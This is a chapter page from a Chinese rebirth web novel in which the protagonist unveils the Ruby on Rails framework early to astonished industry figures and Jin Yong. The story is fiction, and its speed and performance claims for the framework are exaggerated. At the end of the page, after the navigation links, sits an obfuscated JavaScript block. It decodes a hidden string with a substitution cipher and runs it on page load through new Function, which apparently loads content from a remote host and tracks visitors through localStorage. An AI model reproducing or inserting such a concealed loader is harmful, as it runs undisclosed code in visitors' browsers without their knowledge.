返回

重生之再造未来

首页
关灯
护眼
字体:
第二一一节 ROR
(手机请访问 m.duxs8.com); “ruby?”

听到这个名字,在场的人也开始了小声的议论,坐在杜立鼎身后,一直都没出声的王志冬,此时忍不住开口说话了,“杜总,你怎么会想起来去研究ruby?它倒是确实是够快,但是它不成熟,不太适合作为编程语言,你应该知道吧?”

对于杜立鼎的话,王志冬有些啼笑皆非。他很支持杜立鼎的态度:坚持扩大用户数量,坚持技术至上,甚至坚持开源,这都是很好的选择。可是杜立鼎选择的开源技术偏偏是ruby语言的框架,这也让他有些无言以对。

作为一种计算机脚本语言,ruby名气颇大。它是95年的时候由rb人开发出来的,开发以来一直伴着不少的争议。这种开发语言最大的优势就是它够简单,开发足够快,开发效率可以达到java的5倍以上,但它的缺点也十分明显:那就是它不够严谨,因此也不太适合大型团队使用,无法得到有效的发展。

这个问题,杜立鼎应该知道——王志冬了解杜立鼎的技术水平,说他不知道这个,那也太小瞧他了。可是他却说这个……

这东西真的对同行会有帮助?

“ruby不够严谨,这确实是个老问题了。但是我前一阵子开发软件时,却有了一些新的收获。正如我所说,技术足够了,自然而然会获得收获。而我把我们工作中的技术总结了一些,创造出来了rails框架,我也把它叫做ror。我现在想要把它开源处理,是因为我相信这个ror框架会改变ruby的意义,甚至改变整个行业的运营。”

“有点意思。”坐在台下的王俊涛抱起了胳膊,“我倒是想要听听,这是个什么样的框架了。”

“那好,我就开始讲了。首先,ralis是一个一站式的mvc框架,也就是说在使用ror语言开发项目的时候,别的语言需要三四种框架,它只需要一个。其次,rails不是用写入xml配置文件的方法,而是约定优于配置,因此管理更加清晰,而且因为使用约定,本身它也减少了大量底层代码,减少了bug可能性。再次,就是他使用实时映射和元编程技术,可以让人更专注于系统的逻辑结构……”

杜立鼎讲的就是ruby on rails——这个大名鼎鼎的基于ruby语言的框架,可以说根本上解决了ruby华而不实的问题,把ruby变得实用起来。当然,这并不代表ror从此以后就一骑绝尘,它和python,php依然只能说是各有千秋,可就算如此,这也是相当难得了。这个东西原本应该是2006年才被人从工作之中总结出来,但是现在,杜立鼎直接提前五年把它拿了出来。

这是杜立鼎经过挑选之后,认为最适合现在放出去的东西。

站在台上,杜立鼎简单进行着的讲解,他的声音不大,但是因为现场一片安静,所以他说的话依然还是让每个人都听得一清二楚。他讲的速度很快,在场的程序员们对于他说的这些东西接受吸收的也非常快速,可一些对专业的编程不太了解的人却已经跟不上他的思路了,对于他说的这些东西有什么意义,也是非常不理解。

这些人里,金庸就是其中之一。

作为一个受邀参加会议的名人,杜立鼎说的东西他一点也听不懂。但是,虽然他听不懂这些,可是身边人的变化他是看得懂的,从他们身上,他也看出来了这个框架绝对不一般。

他有这样的看法,是因为在场的所有人,现在都已经快要听呆了。刚才杜立鼎开始讲的时候,王俊涛还抱着胳膊一脸无所谓,但是随着杜立鼎的话开始讲,他的脸上就失去了从容,反而长大了嘴巴,神色越来越惊奇。而在另外一边,王申的脸色则是越来越凝重,原本他还靠在沙发背上听着杜立鼎的话,但是现在他已经身体前倾,眉头紧锁,和刚才完全是两个样子了。

他们两个的表现还只是有些不堪,而真正的程序员们,则是非常激动了,张夕阳坐在那里一边反复琢磨着杜立鼎说的ror的内容,一边不住的拍腿暗赞;另外一边的丁三石,则是一脸认真的听着内容,对外界的变化已经充耳不闻了;至于马化龙则是干脆掏出来了一个小本子,不停地记载着什么东西。

和他们相比,倒是王志冬还保持着一个大公司的领袖的矜持,可是他的面无表情和马总那种凝重和赞赏兼而有之的神色相比,似乎又少了些轻松。而周鸿祎此时则是在和梁剑章低声耳语着,神色也大为不对。

从他们的反应,金庸可以看出来很多。随着时间流逝,他越发觉得,可能杜立鼎丢了个大炸弹下来。

“说了那么多,我还是有些没有理解……这个ror,到底是个怎么样的东西?”

趁着杜立鼎讲解的间隙,金庸带着些不解开口问了身边的丁三石,听到他的提问,丁三石从木然中回过了味,也只能感叹两声。

“这个东西实在太了不起了……如果杜总说的都是真的的话,他整合了php体系的快速开发的优点,以及java体系的程序规整的优点。一站式mvc框架,用约定取代配置,实时映射和元编程……怎么说呢……”

作为一个程序员,丁三石现在虽然已经也已经是行业的魁首了,但是在说到了技术问题的时候,他还是有些激动,以至于词不达意。而看他如此,马总也在一旁接过了话头。

“金老,您可以这么理解:咱们今天华山论剑,东邪西毒都凑齐了。杜总来了这里,二话不说拿出来九阴真经,直接分给大家看。你看看咱张总,丁总,都是宗师高手,可拿着九阴真经,一样也看迷糊了,您问什么,他们现在也听不见了。”

看到丁三石依然还在震惊状态,说出来的话依然还有些语无伦次,一旁的马总开口接过了话茬。而他的这一个简单的比喻,让金庸马上就听明白了。但是这一次,轮到他震惊。

“九阴真经?”听到这个比喻,他自己也有些惊讶,“这个东西有那么重要?”

“金老,你是不明白。这么一个ror,会使得web开发项目的体系架构开发提速5倍到10倍。而更可怕的是,就算是这样的速度,它的性能还要比java高10%-20%。也就说有了这个东西,我做一个web,杜总那边可以做出来10个,而且比我做的都还要好,你说这个东西,到底值不值钱?”

坐在另外一边的张夕阳,这个时候也开了口。虽然他不认为马总说的对,但是他却很愿意给杜立鼎捧个场。而他的解释更是让金庸明白了。时间缩短了10倍,而内容却做得更好,这对web网站开发来说绝对是九阴真经级别的贡献。

而它对杜立鼎更是如此。

今天的会议上,其实丁三石他们一直都在强词夺理。可是他们把在场的那些小程序员们拉上,口口声声为他们说话,要打击森兰这个土豪地主,因此就算说的是歪理,也有人支持。他们想要让人们觉得森兰才是行业毒瘤,对小公司威胁很大,可是没想到的是,杜立鼎竟然愿意拿出来了技术,真真切切的帮到在场的创业者们。

这样一来,别人的指责毫无意义:他们毕竟只是说几句便宜话,虽然说的大义凛然,可终究什么都没做。而杜立鼎实打实的掏出来了技术,创业者们站在谁那边不言而喻。

他们宣传杜立鼎武功太高,有可能滥杀无辜,是武林公敌,但是杜立鼎却反手就开始发放武功秘籍……自然,他马上就从武林公敌变成前辈高人了。

“ruby这种语言是最为灵活也最为快速的语言,而rails的出现,则是把它的这种特点推向了极致。如果说ruby是一把宝刀的话,rails就是一个最棒的刀法,把这把宝刀的威力推向了极致。有了rails之后,可以预见将来会有很多人会投身ruby语言了……他直接用一个框架救活了ruby,他们公司的技术能力还真是可怕。”

似乎是从震惊中恢复了过来,丁三石也开口说话了。他在金庸面前作了进一步的解释,也让金庸更加明白了:杜立鼎做出来的这个东西,证明了他的技术比起来其他人来强出来了不止一星半点,他用最简单的方式告诉了所有人,他的技术有多强。

大家以前都做游戏,森兰确实做的比网一强。可那时候丁三石以为,森兰不过是比网一强一点点而已,他努力一下也能追上。可是现在他却发现,那看似不起眼的差距,其实是一条极为巨大的鸿沟。上一次是bt协议,这一次是ror框架,这些天马行空的技术,他根本都无法想像。

“想不到杜总年纪轻轻,倒是有这种贡献……就是我还是有点奇怪,你们都是互联网公司,应该也是竞争关系吧?他有这样的东西,为什么不自己用,反而要把它拿出来分享?”

有人当众抛出秘籍,金庸自然也觉得惊喜。可他随口又问了个问题,也让在场的所有人都愣住了。虽然大家都知道,金庸这么说大概是无心的,但是这个话,确实让人有些尴尬。

在这些人眼里,这也许是九阴真经,但是在杜立鼎那里,这很有可能不算什么——双方的技术差距好像有点可怕。

过了好一会儿,还是马总第一个开口了。

“嗨,有了好的东西,乐于分享,本来就是互联网精神嘛。我们这些人坐在一起,不就是为了分享心得,促进共同发展吗?杜总肯把好东西拿出来,说明他是真心要共同发展——这样的气魄和心胸,值得钦佩。”

马总和金庸打着哈哈,糊弄了过去。但是坐在旁边的其他公司的ceo们,却没有一个笑得开心的:他们不是金庸,对互联网行业一窍不通。他们也不是马总,心态够好还能够谈笑自若。他们清楚杜立鼎的炫耀意味着什么,而这也让他们心里产生了巨大的波澜。

马化龙就是这些人中的一个。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();